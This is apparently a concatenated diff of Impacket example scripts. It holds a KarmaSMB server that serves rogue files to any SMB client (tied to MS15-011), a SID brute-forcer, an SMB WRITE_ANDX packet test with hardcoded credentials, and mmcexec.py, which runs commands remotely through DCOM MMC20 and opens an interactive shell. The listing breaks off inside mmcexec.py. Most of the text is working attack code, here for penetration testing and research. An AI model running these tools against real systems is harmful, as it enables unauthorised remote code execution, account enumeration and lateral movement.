elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SUCCESS
if errorCode == STATUS_ACCESS_DENIED:
return [respSMBCommand], None, errorCode
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
# 2. We change the filename in the request for our targetFile
ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
SMBCommand['Data'] = str(ntCreateAndXData)
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
# 3. We call the original call with our modified data
return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
# The trick we play here is that Windows clients first ask for the file
# and then it asks for the directory containing the file.
# It is important to answer the right questions for the attack to work
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = ''
try:
origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
origPathName = os.path.normpath(origPathName.replace('\\','/'))
if connData.has_key('MS15011') is False:
connData['MS15011'] = {}
smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
if connData['MS15011'].has_key(origPathName) or origPathName == '.':
# We already processed this entry, now it's asking for a directory
infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
else:
# First time asked, asking for the file
infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
except Exception, e:
#import traceback
#traceback.print_exc()
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
if infoRecord is not None:
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
respData = infoRecord
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
def smb2Read(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
connData['MS15011']['StopConnection'] = True
smbServer.setConnectionData(connId, connData)
return self.origsmb2Read(connId, smbServer, recvPacket)
def smb2Close(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
# We're closing the connection trying to flush the client's
# cache.
if connData['MS15011']['StopConnection'] is True:
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
return self.origsmb2Close(connId, smbServer, recvPacket)
def smb2Create(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
# Let's try to avoid allowing write requests from the client back to us
# not 100% bulletproof, plus also the client might be using other SMB
# calls
createOptions = ntCreateRequest['CreateOptions']
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
errorCode = STATUS_ACCESS_DENIED
elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SUCCESS
if errorCode == STATUS_ACCESS_DENIED:
return [smb2.SMB2Error()], None, errorCode
# 1. Let's grab the extension and map the file's contents we will deliver
origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
_, origPathNameExtension = os.path.splitext(origPathName)
origPathNameExtension = origPathNameExtension.upper()[1:]
# Are we being asked for a directory?
if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
if self.extensions.has_key(origPathNameExtension.upper()):
targetFile = self.extensions[origPathNameExtension.upper()]
else:
targetFile = self.defaultFile
connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
else:
targetFile = '/'
# 2. We change the filename in the request for our targetFile
try:
ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
except UnicodeDecodeError:
import sys
ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
ntCreateRequest['NameLength'] = len(targetFile)*2
recvPacket['Data'] = str(ntCreateRequest)
# 3. We call the original call with our modified data
return self.origsmb2Create(connId, smbServer, recvPacket)
def smb2QueryDirectory(self, connId, smbServer, recvPacket):
# Windows clients with SMB2 will also perform a QueryDirectory
# expecting to get the filename asked. So we deliver it :)
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
errorCode = 0xff
respSMBCommand['Buffer'] = '\x00'
errorCode = STATUS_SUCCESS
#if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
# return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
if connData['MS15011']['FindDone'] is True:
connData['MS15011']['FindDone'] = False
smbServer.setConnectionData(connId, connData)
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
else:
origName, targetFile = connData['MS15011']['FileData']
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
infoRecord['EaSize'] = 0
infoRecord['EndOfFile'] = size
infoRecord['AllocationSize'] = size
infoRecord['CreationTime'] = getFileTime(ctime)
infoRecord['LastAccessTime'] = getFileTime(atime)
infoRecord['LastWriteTime'] = getFileTime(mtime)
infoRecord['LastChangeTime'] = getFileTime(mtime)
infoRecord['ShortName'] = '\x00'*24
#infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
infoRecord['FileName'] = origName.encode('utf-16le')
padLen = (8-(len(infoRecord) % 8)) % 8
infoRecord['NextEntryOffset'] = 0
respSMBCommand['OutputBufferOffset'] = 0x48
respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
connData['MS15011']['FindDone'] = True
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def smb2TreeConnect(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respPacket = smb2.SMB2Packet()
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = recvPacket['Command']
respPacket['SessionID'] = connData['Uid']
respPacket['Reserved'] = recvPacket['Reserved']
respPacket['MessageID'] = recvPacket['MessageID']
respPacket['TreeID'] = recvPacket['TreeID']
respSMBCommand = smb2.SMB2TreeConnect_Response()
treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
errorCode = STATUS_SUCCESS
## Process here the request, does the share exist?
path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
UNCOrShare = path.decode('utf-16le')
# Is this a UNC?
if ntpath.ismount(UNCOrShare):
path = UNCOrShare.split('\\')[3]
else:
path = ntpath.basename(UNCOrShare)
# We won't search for the share.. all of them exist :P
#share = searchShare(connId, path.upper(), smbServer)
connData['MS15011'] = {}
connData['MS15011']['FindDone'] = False
connData['MS15011']['StopConnection'] = False
share = {}
if share is not None:
# Simple way to generate a Tid
if len(connData['ConnectedShares']) == 0:
tid = 1
else:
tid = connData['ConnectedShares'].keys()[-1] + 1
connData['ConnectedShares'][tid] = share
connData['ConnectedShares'][tid]['path'] = '/'
connData['ConnectedShares'][tid]['shareName'] = path
respPacket['TreeID'] = tid
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
else:
smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
respPacket['Status'] = errorCode
##
if path == 'IPC$':
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
respSMBCommand['ShareFlags'] = 0x30
else:
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
respSMBCommand['ShareFlags'] = 0x0
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaximalAccess'] = 0x011f01ff
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], errorCode
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
resp = smb.NewSMBPacket()
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Pid'] = connData['Pid']
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
respData = smb.SMBTreeConnectAndXResponse_Data()
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
if treeConnectAndXParameters['Flags'] & 0x8:
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
errorCode = STATUS_SUCCESS
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
# Is this a UNC?
if ntpath.ismount(UNCOrShare):
path = UNCOrShare.split('\\')[3]
else:
path = ntpath.basename(UNCOrShare)
# We won't search for the share.. all of them exist :P
smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
#share = searchShare(connId, path, smbServer)
share = {}
# Simple way to generate a Tid
if len(connData['ConnectedShares']) == 0:
tid = 1
else:
tid = connData['ConnectedShares'].keys()[-1] + 1
connData['ConnectedShares'][tid] = share
connData['ConnectedShares'][tid]['path'] = '/'
connData['ConnectedShares'][tid]['shareName'] = path
resp['Tid'] = tid
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
if path == 'IPC$':
respData['Service'] = 'IPC'
else:
respData['Service'] = path
respData['PadLen'] = 0
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp['Uid'] = connData['Uid']
resp.addCommand(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return None, [resp], errorCode
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
def setDefaultFile(self, filename):
self.defaultFile = filename
def setExtensionsConfig(self, filename):
for line in filename.readlines():
line = line.strip('\r\n ')
if line.startswith('#') is not True and len(line) > 0:
extension, pathName = line.split('=')
self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will "
"return the pathname contents")
parser.add_argument("--help", action="help", help='show this help message and exit')
parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB "
"clients")
parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map '
'extensions to files to deliver. For those extensions not present, pathname will be delivered')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
s = KarmaSMBServer(options.smb2support)
s.setDefaultFile(os.path.normpath(options.fileName))
if options.config is not None:
s.setExtensionsConfig(options.config)
s.start()
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass

View File

@@ -0,0 +1,187 @@
#!/usr/bin/env python
# Copyright (c) 2012-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# DCE/RPC lookup sid brute forcer example
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC [MS-LSAT]
import sys
import logging
import argparse
import codecs
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException
class LSALookupSid:
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
139: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
445: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
}
def __init__(self, username, password, domain, port = None,
hashes = None, maxRid=4000):
self.__username = username
self.__password = password
self.__port = port
self.__maxRid = int(maxRid)
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, remoteName, remoteHost):
logging.info('Brute forcing SIDs at %s' % remoteName)
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
logging.info('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.__bruteForce(rpctransport, self.__maxRid)
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.critical(str(e))
raise
def __bruteForce(self, rpctransport, maxRid):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid/SIMULTANEOUS+1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in xrange(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException, e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
print "%d: %s\\%s (%s)" % (
soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'],
SID_NAME_USE.enumItems(item['Use']).name)
soFar += SIMULTANEOUS
dce.disconnect()
return entries
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '
'If ommited it will use whatever was specified as target. This is useful when target is the '
'NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.target_ip is None:
options.target_ip = remoteName
lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.maxRid)
try:
lookup.dump(remoteName, options.target_ip)
except:
pass

View File

@@ -0,0 +1,64 @@
#!/usr/bin/env python
import time
from impacket.examples import logger
from impacket import smb
class lotsSMB(smb.SMB):
def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
pkt = smb.NewSMBPacket()
pkt['Flags1'] = 0x18
pkt['Flags2'] = 0
pkt['Tid'] = tid
writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
pkt.addCommand(writeAndX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = offset
writeAndX['Parameters']['WriteMode'] = 0
writeAndX['Parameters']['Remaining'] = len(data)
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = len(pkt)
writeAndX['Data'] = data+('A'*4000)
saved_offset = len(pkt)
writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
pkt.addCommand(writeAndX2)
writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
writeAndX2['Parameters']['Fid'] = fid
writeAndX2['Parameters']['Offset'] = offset
writeAndX2['Parameters']['WriteMode'] = 0
writeAndX2['Parameters']['Remaining'] = len(data)
writeAndX2['Parameters']['DataLength'] = len(data)
writeAndX2['Parameters']['DataOffset'] = len(pkt)
writeAndX2['Data'] = '<pata>\n'
writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
writeAndX2['Parameters']['AndXOffset'] = saved_offset
self.sendSMB(pkt)
if wait_answer:
pkt = self.recvSMB()
if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
return pkt
return None
# Init the example's logger theme
logger.init()
s = lotsSMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','pasword')
tid = s.tree_connect(r'\\*SMBSERVER\IPC$')
fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0]
s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0)
time.sleep(2)
s.close(tid,fid)

View File

@@ -0,0 +1,481 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to wmiexec but executing commands through MMC.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Original discovery by Matt Nelson (@enigma0x3):
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
# ToDo:
# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
# getInterface() method
#
import argparse
import cmd
import logging
import ntpath
import os
import string
import sys
import time
from impacket import version
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL
from impacket.examples import logger
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
OUTPUT_FILENAME = '__' + str(time.time())
class MMCEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
if self.shell is not None:
self.shell.do_exit('')
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, quit, executeShellCommand, smbConnection):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = ''
self.__shell = 'c:\\windows\\system32\\cmd.exe'
self.__quit = quit
self.__executeShellCommand = executeShellCommand
self.__transferClient = smbConnection
self.__pwd = 'C:\\'
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
"""
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
os.remove(filename)
pass
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
def do_exit(self, s):
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print self.__outputBuffer
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print self.__outputBuffer
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
